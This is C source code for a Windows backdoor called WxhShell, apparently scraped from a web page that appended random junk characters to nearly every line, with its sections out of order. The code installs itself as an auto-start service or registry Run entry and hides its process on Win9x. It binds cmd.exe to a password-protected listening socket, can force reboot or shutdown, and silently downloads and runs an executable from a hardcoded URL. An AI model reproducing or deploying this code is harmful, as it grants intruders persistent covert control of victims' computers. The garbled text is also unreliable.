    } $m`?x5rL8  
  // 关机 ^)&d7cSc  
  case 'd': { .OM m"RtK  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fYF\5/_  
    if(Boot(SHUTDOWN)) z'K&LH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MXY[t  
    else { d\}r.pD  
    closesocket(wsh); 0  ;$[  
    ExitThread(0); X cmR/+  
    } &g R+D  
    break; DVxW2J  
    } Bk&ry)`gD  
  // 获取shell dEU +\NY  
  case 's': { !(PAUW S@  
    CmdShell(wsh); NF <|3|  
    closesocket(wsh); 8 /1 sy.R  
    ExitThread(0); Zr,:i MPZ  
    break; G2Eke;  
  } 59:Xu%Hp  
  // 退出 'Z#8]YP`  
  case 'x': { z{U2K '  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (]0JI1 d  
    CloseIt(wsh); 8^CdE*a  
    break; 8KRm>-H)  
    } {)]5o| Hx  
  // 离开 GGcN aW'  
  case 'q': { 8%]o6'd4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); h.@5vhD  
    closesocket(wsh); Q?KWiFA}'  
    WSACleanup(); FU9q|!2Y  
    exit(1); p9k' .H^:_  
    break; >%k:+ +b{  
        } _|`~CLE[  
  } ,)3%@MwO  
  } [k-Q89  
%EA|2O.D  
  // 提示信息 s(W]>Ib  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A L|F Bd  
} ?4Z`^uy  
  } J ylav:  
T)J=lw  
  return; !L4Vz7 C  
} [F4] pR(  
XnmQp)nyV  
// shell模块句柄 m[6?v;w  
int CmdShell(SOCKET sock) S%zn {1F  
{ T9.3  
STARTUPINFO si; $eUI.j(HU  
ZeroMemory(&si,sizeof(si)); $_NYu  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T:&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {/SUfXq  
PROCESS_INFORMATION ProcessInfo; 5[3vu p?  
char cmdline[]="cmd"; a"gZw9m@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R&Y+x;({  
  return 0; >5Y%4++(  
}  ,83%18b  
?5(Cwy ?  
// 自身启动模式 z+IBy+  
int StartFromService(void) {%W'Zx  
{ y/57 >.3  
typedef struct I;xrw?=\L  
{ c \cPmj@  
  DWORD ExitStatus; o NX-vN-  
  DWORD PebBaseAddress; 2fIHFo\8  
  DWORD AffinityMask; /<7'[x<  
  DWORD BasePriority; EM9K^l`  
  ULONG UniqueProcessId; wp7<0PP  
  ULONG InheritedFromUniqueProcessId;  [@YeQ{  
}   PROCESS_BASIC_INFORMATION; Q!7il<S  
A)"?GK{*  
PROCNTQSIP NtQueryInformationProcess; Kx,#Wg{H  
!Au'WJfE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [?z`XY_-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~JhH ,E  
ASA ]7qyO  
  HANDLE             hProcess; F uYjrzmx  
  PROCESS_BASIC_INFORMATION pbi; 1vw [{.wC  
z2'3P{#s  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); aQzDOeTi  
  if(NULL == hInst ) return 0; ,gAa9  
oD1rt>k  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); LsB|}_j7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); DJ)Q,l*|N9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); MvV\?Lzj   
_Q XC5i  
  if (!NtQueryInformationProcess) return 0; h"R{{y f2  
}7)iLfi  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )Iu0MN&  
  if(!hProcess) return 0; L\;n[,.  
*Ae> ,LyE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )LOV)z|}  
t!^ j0q  
  CloseHandle(hProcess); "u29| OY  
pjG/`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (%p@G5GU  
if(hProcess==NULL) return 0; f_\,H|zco)  
h"O4r8G}  
HMODULE hMod; FFC"rG  
char procName[255]; ~)ut"4  
unsigned long cbNeeded; VINb9W}G[  
8NP|>uaj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q`= ,&;T>  
Z'hHXSXM  
  CloseHandle(hProcess); !q]@/<=  
{,;R\)8D  
if(strstr(procName,"services")) return 1; // 以服务启动 ":igYh  
$)or{Z$&  
  return 0; // 注册表启动 nulLK28q  
} 3 UXaA;  
7 LotN6H  
// 主模块 b { M'aV  
int StartWxhshell(LPSTR lpCmdLine) $W_sIS0\z  
{ OoIs'S-Z#  
  SOCKET wsl; 4$W}6 v  
BOOL val=TRUE; .|?UqZ(,  
  int port=0; c+a"sx\  
  struct sockaddr_in door; yyZs[5Q  
QVT|6znw  
  if(wscfg.ws_autoins) Install(); #E`wqI\'  
qnO>F^itF  
port=atoi(lpCmdLine); r2b_$  
o57r ,`N  
if(port<=0) port=wscfg.ws_port; pDYcsC{p  
rf\/Y"D  
  WSADATA data; Kg8n3pLAX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d@b" ~r}  
CpGy'Ia  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k[ZkVwx  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hiT&QJB` _  
  door.sin_family = AF_INET; H@|h Nn$@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /TEE<\"  
  door.sin_port = htons(port); Pl/}`H:R&  
>U7{EfUJdx  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W]B75  
closesocket(wsl); =PM6:3aKh  
return 1; [\BLb8  
} B!j7vXM2  
#ULjK*)R  
  if(listen(wsl,2) == INVALID_SOCKET) { $R&K-;D/8  
closesocket(wsl); v?O6|0#x  
return 1; GS)4,.  
} Kry^ 47"  
  Wxhshell(wsl); L9} %tEP  
  WSACleanup(); IIh \ d.o  
xq@_' 3X  
return 0; H*KZZTKd  
W ])Lc3X  
} H$M{thW  
DnP "7}v  
// 以NT服务方式启动 HSG7jC'_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wdMVy=SS  
{ ehTRw8"R  
DWORD   status = 0; goje4;  
  DWORD   specificError = 0xfffffff; gt \O  
wg}rMJoG|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4 Q<c I2|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %=*nJvYS  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *]K/8MbiF  
  serviceStatus.dwWin32ExitCode     = 0; o=)["V  
  serviceStatus.dwServiceSpecificExitCode = 0; <FofRFaS  
  serviceStatus.dwCheckPoint       = 0; uXuA4o$t-  
  serviceStatus.dwWaitHint       = 0; N~! G AaD  
sZh| <2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); NK!#K>AO  
  if (hServiceStatusHandle==0) return; /6@$^paB  
H"b}lf  
status = GetLastError(); crlCN  
  if (status!=NO_ERROR) pPH"6   
{ '7yVvd  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x%J.$o[<_  
    serviceStatus.dwCheckPoint       = 0; [}Z!hq  
    serviceStatus.dwWaitHint       = 0; jccSjGX@w  
    serviceStatus.dwWin32ExitCode     = status; "lnI@t{o  
    serviceStatus.dwServiceSpecificExitCode = specificError; W6&mXJ^3L  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T`W37fz0  
    return; w:3CWF4q]  
  } OhW o  
L|y 9T {s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *-,jIaL;  
  serviceStatus.dwCheckPoint       = 0; H$)__V5I,q  
  serviceStatus.dwWaitHint       = 0; "QLp%B,A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^@f-Ni\  
} :=oIvSnh  
L)QAI5o:3  
// 处理NT服务事件,比如:启动、停止 ,sZ)@?e  
VOID WINAPI NTServiceHandler(DWORD fdwControl) rp_Aw  
{ c4 bo  
switch(fdwControl) &s~b1Va  
{ *z }<eq  
case SERVICE_CONTROL_STOP: Xf6\{  
  serviceStatus.dwWin32ExitCode = 0; S]g`Ds<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9Ac4'L  
  serviceStatus.dwCheckPoint   = 0; bFB.hkTP  
  serviceStatus.dwWaitHint     = 0; G_v^IM#B=  
  { ojbms>a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i~ITRi@  
  } 7*C>4Gs  
  return; W%P$$x5&  
case SERVICE_CONTROL_PAUSE: t2hI^J0y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <d~IdK'\x  
  break; F x3X  
case SERVICE_CONTROL_CONTINUE: 5c 69M5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; YDjjhe+  
  break; XF i!=|F  
case SERVICE_CONTROL_INTERROGATE: #4Ltw ,b^  
  break; H$!sK  
}; /L; c -^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'q7&MM'oS^  
} hwi$:[  
xz*MFoE  
// 标准应用程序主函数 nq 9{{oe  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) E6+ 6  
{  I#U)  
7R#$Hm  
// 获取操作系统版本 a~w l D.P  
OsIsNt=GetOsVer(); 0NMmN_Lr  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]EfM;'j[  
9/dI 6P7  
  // 从命令行安装 |*y'H*  
  if(strpbrk(lpCmdLine,"iI")) Install(); O`TM}  
#<81`%  
  // 下载执行文件 LPS]TG\  
if(wscfg.ws_downexe) { 2|JtRE+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) OR<%h/ \f  
  WinExec(wscfg.ws_filenam,SW_HIDE); .9$ 7 +  
} "W@>lf?"  
rtT*2k*  
if(!OsIsNt) { ueLdjASJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 >vZ^D  
HideProc(); r%FfJM@!  
StartWxhshell(lpCmdLine); l5<&pb#b  
} qMmhVUx  
else tE]Y=x[Ux  
  if(StartFromService()) .*{0[  
  // 以服务方式启动 OY,iz  
  StartServiceCtrlDispatcher(DispatchTable); |*JMCI@Mz  
else GEJy?$9   
  // 普通方式启动  ;GZ/V;S  
  StartWxhshell(lpCmdLine);  Fm`c  
fa 2hQJ02  
return 0; f <LRM  
} 3}nkTZG  
O>/& -Wk=  
~pPj   
Y~P* !g  
=========================================== "#=WD  
IaYaIEL-  
g n 6@x  
C o,"  
`FRdo  
arb'.:[z^  
" !b?`TUt   
gbT1d:T  
#include <stdio.h> e6 a]XO^  
#include <string.h> ]z"7v  
#include <windows.h> -jcgxQH53  
#include <winsock2.h> FSHC\8siS  
#include <winsvc.h> a n|bzG  
#include <urlmon.h> ANlzF& K  
#iAw/a0&  
#pragma comment (lib, "Ws2_32.lib") 2}kJN8\F  
#pragma comment (lib, "urlmon.lib") .M>g`UW  
B<!WAw+  
#define MAX_USER   100 // 最大客户端连接数 :nn(Ndlz9  
#define BUF_SOCK   200 // sock buffer p.x!dt\1kC  
#define KEY_BUFF   255 // 输入 buffer uTRFeO>  
gF~#M1!!  
#define REBOOT     0   // 重启 L /V;;  
#define SHUTDOWN   1   // 关机 Km!~zG7<  
6'ia^om  
#define DEF_PORT   5000 // 监听端口 Ae^ Idz  
P"<,@Mn  
#define REG_LEN     16   // 注册表键长度 Ag_I'   
#define SVC_LEN     80   // NT服务名长度 (T1d!v"~"  
57`9{.HB  
// 从dll定义API e)2w&2i`(F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -b'a-?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B;^YHWJ6i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); d/l>~%bR  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /YD2F  
#GIjU1-  
// wxhshell配置信息 )|IMhB+4  
struct WSCFG { Tu7sA.73k  
  int ws_port;         // 监听端口 *7^w}v+.  
  char ws_passstr[REG_LEN]; // 口令 U{Moyj  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4j}uVGi{e  
  char ws_regname[REG_LEN]; // 注册表键名 ?vV&tqnx%  
  char ws_svcname[REG_LEN]; // 服务名 Oi,:q&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +|6 u 0&R^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xL\R-H^c]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e3}o3c_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m!^z{S  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qExmf%q:q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dobqYd4`  
S*S @a4lV7  
}; YHfk; FI  
3mH(@ -OA  
// default Wxhshell configuration U_ *K%h\m  
struct WSCFG wscfg={DEF_PORT, <BhNmEo)2  
    "xuhuanlingzhe", E2yL9]K2  
    1, =6< Am  
    "Wxhshell", t[HA86X  
    "Wxhshell", %C~LKs5oH  
            "WxhShell Service", k/.a yLq  
    "Wrsky Windows CmdShell Service", !R3ZyZcX  
    "Please Input Your Password: ", Y!fgc<]'&  
  1, xL} ~R7  
  "http://www.wrsky.com/wxhshell.exe", A&7~] BR\  
  "Wxhshell.exe" +hz S'z)n&  
    }; WQ)vu&;  
&v.Nj9{zi  
// 消息定义模块 Bb@m-+f  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +w9X$<?_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; SZL('x,"^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~v^I*/uY  
char *msg_ws_ext="\n\rExit."; BM_Rlcx~  
char *msg_ws_end="\n\rQuit."; wSIfqf+y  
char *msg_ws_boot="\n\rReboot..."; Ob m%\h  
char *msg_ws_poff="\n\rShutdown..."; Y(Q!OeC  
char *msg_ws_down="\n\rSave to "; OpxJiu=W  
|QxT"`rT  
char *msg_ws_err="\n\rErr!"; yvt :/X  
char *msg_ws_ok="\n\rOK!"; Pef$-3aP>E  
prCr"y` M  
char ExeFile[MAX_PATH]; 0qhSV B5  
int nUser = 0; ZFa<{J<2  
HANDLE handles[MAX_USER]; -| YDKcL  
int OsIsNt; mxkv{;ad  
-efB8)A  
SERVICE_STATUS       serviceStatus; l_0/g^(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _p,1m[&M  
Oj0,Urs7  
// 函数声明 m1,yf*U  
int Install(void); T;Zv^:]0  
int Uninstall(void); )&wJ_ (z  
int DownloadFile(char *sURL, SOCKET wsh); *?s"~ XVs  
int Boot(int flag); pPnJf{  
void HideProc(void); 1^^9'/  
int GetOsVer(void); #S*cFnd  
int Wxhshell(SOCKET wsl); KdU&q+C^  
void TalkWithClient(void *cs); @zAav>  
int CmdShell(SOCKET sock); K %Qj<{)  
int StartFromService(void); J>%uak<  
int StartWxhshell(LPSTR lpCmdLine); )R5=GHmL  
{>8u/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L__J(6,V2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mYw9lM  
Z9k"&F ~u}  
// 数据结构和表定义 ZGbY  
SERVICE_TABLE_ENTRY DispatchTable[] = /I@Dv?  
{ GK8x<Aq%z  
{wscfg.ws_svcname, NTServiceMain}, >do3*ko A  
{NULL, NULL} ;@ lC08SE  
}; Gz@/:dW^vZ  
IPEJ7 n49  
// 自我安装 qTi%].F"G  
int Install(void) SVj4K \F  
{ @o4n!Ip2x/  
  char svExeFile[MAX_PATH]; VKb'!Ystl  
  HKEY key; 8V(-S,  
  strcpy(svExeFile,ExeFile); $<v{$UOh  
$5S/~8g(  
// 如果是win9x系统,修改注册表设为自启动 8*m=U@5]  
if(!OsIsNt) { x9B5@2J1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V{+5Fas^l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iIO_d4Z  
  RegCloseKey(key); &HIG776  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GK\`8xWE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +u]L# ].;  
  RegCloseKey(key); HVkq{W|w  
  return 0; %MUh_63bB  
    } EhK5<v}  
  } XX;MoE~MM  
} (Aw!K`0Y1  
else { Q~S3d  
4M{]YZMw8  
// 如果是NT以上系统,安装为系统服务 6$_//  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A.>TD=Nz  
if (schSCManager!=0) 6O# xV:Uc<  
{ qGH\3g-  
  SC_HANDLE schService = CreateService )7TuV"  
  ( \o2cztl=  
  schSCManager, G@I/Dy  
  wscfg.ws_svcname,  :bBMy\(u  
  wscfg.ws_svcdisp, SXx;- Ws  
  SERVICE_ALL_ACCESS, Ub9p&=]h  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `zBQ:_3J_  
  SERVICE_AUTO_START, > cM}M=4s  
  SERVICE_ERROR_NORMAL, ewD=(yr  
  svExeFile, ds|L'7  
  NULL, <|R`N)AV;  
  NULL, ~n )<L7  
  NULL, zv[pfD7a  
  NULL, $9m>(b/;n  
  NULL ^s[OvJb  
  ); .GH#`j  
  if (schService!=0) V-.Nc#  
  { D8,V'n>L  
  CloseServiceHandle(schService); d-BUdIz  
  CloseServiceHandle(schSCManager); wrmbOT  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $(JB"%S8c  
  strcat(svExeFile,wscfg.ws_svcname); 9m:G8j'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nD/; Gq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (TQhO$,  
  RegCloseKey(key); C#Y_La  
  return 0; u~VvGLFf5,  
    } [H&Z / .{F  
  } ];VJ54  
  CloseServiceHandle(schSCManager); "O j2B|:s&  
} 3El5g0'G  
} B9(e"cMm  
.6xIg+  
return 1; 6Lhfb\2?  
} oA'LQ  
p?qW;1  
// 自我卸载 3Sclr/t  
int Uninstall(void) m#kJ((~  
{ [23F0-p  
  HKEY key; EXD Qr'"  
i!+Wv-  
if(!OsIsNt) { D^jyG6Ch  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Sx|)GTJJ|-  
  RegDeleteValue(key,wscfg.ws_regname); )Fw{|7@N  
  RegCloseKey(key); i!k5P".o^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O2 sAt3'  
  RegDeleteValue(key,wscfg.ws_regname); bQelU  
  RegCloseKey(key); >t Ll|O+  
  return 0; 1e(Q I) ~  
  } 0^ IHBN?9  
} 1`z^Xk8vt  
} ?!d\c(5Gt  
else { 0z1UF{{  
k),!%6\(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :*0l*j  
if (schSCManager!=0) =SqI# v  
{ HJ+I;OJ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tP ;^;nw  
  if (schService!=0) &9:"X  
  { ^N`bA8  
  if(DeleteService(schService)!=0) { JZM:R  
  CloseServiceHandle(schService); p z]T9ol~  
  CloseServiceHandle(schSCManager); +#IsRiH%>  
  return 0; V(A p|I:G  
  } d|?'yX  
  CloseServiceHandle(schService); k ICZc{} `  
  } S85}&\m&4  
  CloseServiceHandle(schSCManager); dD{{G :V  
} ]BiLLDz(  
} map#4\  
g k.c"$2  
return 1; \Rff3$  
} 0>KW94  
asQXl#4r  
// 从指定url下载文件 @ a?^2X^  
int DownloadFile(char *sURL, SOCKET wsh) K9 tuiD+j  
{ EX.`6,:+2  
  HRESULT hr; fZ)M Dq  
char seps[]= "/"; se:lKZZ]  
char *token; =|_{J"sv  
char *file; *#n?6KqZ  
char myURL[MAX_PATH]; wf[B-2q)  
char myFILE[MAX_PATH]; 8H})Dq%d7  
/^F$cQX(  
strcpy(myURL,sURL); &!E+l<.RF  
  token=strtok(myURL,seps); E)h&<{%  
  while(token!=NULL) }VUrn2@-4  
  { ~c*$w O\  
    file=token; 8ezdU"  
  token=strtok(NULL,seps); Rl2*oOVz  
  } 28N v'  
3TS(il9A  
GetCurrentDirectory(MAX_PATH,myFILE); "\]NOA*  
strcat(myFILE, "\\"); y>DvD)  
strcat(myFILE, file); 'Lb- +X,  
  send(wsh,myFILE,strlen(myFILE),0); ">LX>uYmX-  
send(wsh,"...",3,0); 1aQR9zg%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ![OKmy  
  if(hr==S_OK) 7Y>17=|  
return 0; ;[ag|YU$Y  
else #'<s/7;~  
return 1; $<[Q8V-  
QlmZ4fT[r  
} L-}6}5[  
x\r[Zp|  
// 系统电源模块 TrBBV]4  
int Boot(int flag) H]XY  
{ >#Obhs|S{C  
  HANDLE hToken; bQ3EBJT{P  
  TOKEN_PRIVILEGES tkp; b?~%u+'3  
O DLRzk(  
  if(OsIsNt) { !N@d51T=N  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0 kM4\E n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9O.okU  
    tkp.PrivilegeCount = 1; XYM 5'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YgN:$+g5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x=%p~$C  
if(flag==REBOOT) { e/p2| 4;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0F495'*A  
  return 0; +mgmC_Q(0  
} >5aZ?#TS1  
else { VW[!%<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2qF ?%  
  return 0; R2 I 7d'|v  
} yi*2^??` 1  
  } nX|f?5 O  
  else { "GTlJqhk  
if(flag==REBOOT) { _8f? H#&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) VT;Vm3\  
  return 0; *x;&fyR  
} +@ FM~q  
else { ]hPu  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *&d>Vk."]  
  return 0; Nzo;j0 [  
} %)|pUa&  
} ey~5DY7  
B3j   
return 1; (rHS2SA\5  
} Bv)^GU&   
X(`wj~45VX  
// win9x进程隐藏模块 );]9M~$  
void HideProc(void) Cmsg'KqqT  
{ J ^y1=PM  
IYo{eX~=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =u5a'bp0;;  
  if ( hKernel != NULL ) :?*|Dp1  
  { M_+"RKp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); v|WTm#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [T(XwA)  
    FreeLibrary(hKernel); xE2sb*  
  } &RzkM4"  
WB7pdSZ  
return; xn fMx$fD  
} u?J!3ZEtb  
nkp,  
// 获取操作系统版本 iE~][_%U  
int GetOsVer(void) jc4#k+sb  
{  MYD`P2F  
  OSVERSIONINFO winfo; wc%Wy|d  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h2b,(  
  GetVersionEx(&winfo); zXop@"(e  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) biBo?k;4  
  return 1; sUCI+)cM3  
  else _:B/XZ  
  return 0; cIL I%W1  
} A *$JF>`7  
j;GH|22  
// 客户端句柄模块 JBYmy_Su  
int Wxhshell(SOCKET wsl) %z0;77[1I  
{ 2~*J<iO&l  
  SOCKET wsh; C V{kP8#  
  struct sockaddr_in client; . paA0j  
  DWORD myID; 1kd\Fq^z$  
","O8'$OC  
  while(nUser<MAX_USER) :?2@qWaL  
{ Cj,Yy  
  int nSize=sizeof(client); d'oh-dj %^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); IpJMq^ Z  
  if(wsh==INVALID_SOCKET) return 1; klwC.=?(j"  
PQkFzyk  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1[; 7Ay  
if(handles[nUser]==0) [{i"Au]  
  closesocket(wsh); {CO]wqEj  
else - kGwbV}  
  nUser++; n0ZrgTVJ  
  } H8'q Y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B#+0jdF;  
o#D;H[' A  
  return 0; K~C6dy  
} EO_:C9=d{  
-KuC31s_W  
// 关闭 socket uuD|%-Ng  
void CloseIt(SOCKET wsh) 8NE+G.:G  
{ m=qEQy6#2u  
closesocket(wsh); ho'Ihep,L  
nUser--; L<}0}y  
ExitThread(0); ^Uj\s /  
} t-;zgW5mwF  
iFJ1}0<(x  
// 客户端请求句柄 R/_bk7o]H  
void TalkWithClient(void *cs) zF)&o}  
{ UgVLHwkvk  
@26gP:Um  
  SOCKET wsh=(SOCKET)cs; TZl^M h[a  
  char pwd[SVC_LEN]; )U?5O$M;lE  
  char cmd[KEY_BUFF]; -E$(<Pow~\  
char chr[1]; tyW5k(>  
int i,j; R2e":`0I  
*N C9S,eSP  
  while (nUser < MAX_USER) { /.1yxb#Z?,  
>!D^F]CH  
if(wscfg.ws_passstr) { SJ4+s4!l <  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3tt3:`g  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f"{|c@%  
  //ZeroMemory(pwd,KEY_BUFF); KBe\)Vs  
      i=0; '{[n,xeR  
  while(i<SVC_LEN) { ]T?Py)  
<Lt%[dn  
  // 设置超时 }Ai_peO0a  
  fd_set FdRead; G2 E4  
  struct timeval TimeOut; 9W7 ljUg  
  FD_ZERO(&FdRead); Wq+a5[3"  
  FD_SET(wsh,&FdRead); y^*o%2/  
  TimeOut.tv_sec=8; t1Zcr#b>  
  TimeOut.tv_usec=0; ~YH'&L.O  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3w>S?"W#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kL7n`o  
:j)v=qul  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v7h!'U[/  
  pwd=chr[0]; =hP7 Hea(N  
  if(chr[0]==0xd || chr[0]==0xa) { F=B[%4q`%  
  pwd=0; (/^s?`1{N?  
  break; }%T8?d]  
  } x}tg/` .=z  
  i++; xsO "H8  
    } FJ/c(K  
-PG81F&K  
  // 如果是非法用户,关闭 socket ^D%hKIT  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &tJ!cTA.-  
} ;!C~_{/t  
*3Vic  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #B^A"?*S  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "KiTjl`M,  
fHLt{!O  
while(1) { r=J+  
R/O>^s!Co  
  ZeroMemory(cmd,KEY_BUFF); TdCC,/c 3  
,(@JNtx  
      // 自动支持客户端 telnet标准   M SnRx*-  
  j=0; w<P$)~6  
  while(j<KEY_BUFF) { wAvnj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *6` };ASK  
  cmd[j]=chr[0]; BKV,V/*p  
  if(chr[0]==0xa || chr[0]==0xd) { . XVW2ISv  
  cmd[j]=0; it#,5#Y:  
  break; \ ";^nk*  
  } gB)Cmw*  
  j++; k vQ] }`a  
    } V#P`FX  
0D s W1  
  // 下载文件 'Zket=Sm;  
  if(strstr(cmd,"http://")) { #$^vP/"$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Qf .ASC   
  if(DownloadFile(cmd,wsh)) ,O'#7Dj  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <NYf!bx  
  else 0DB8[#i%:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (>R   
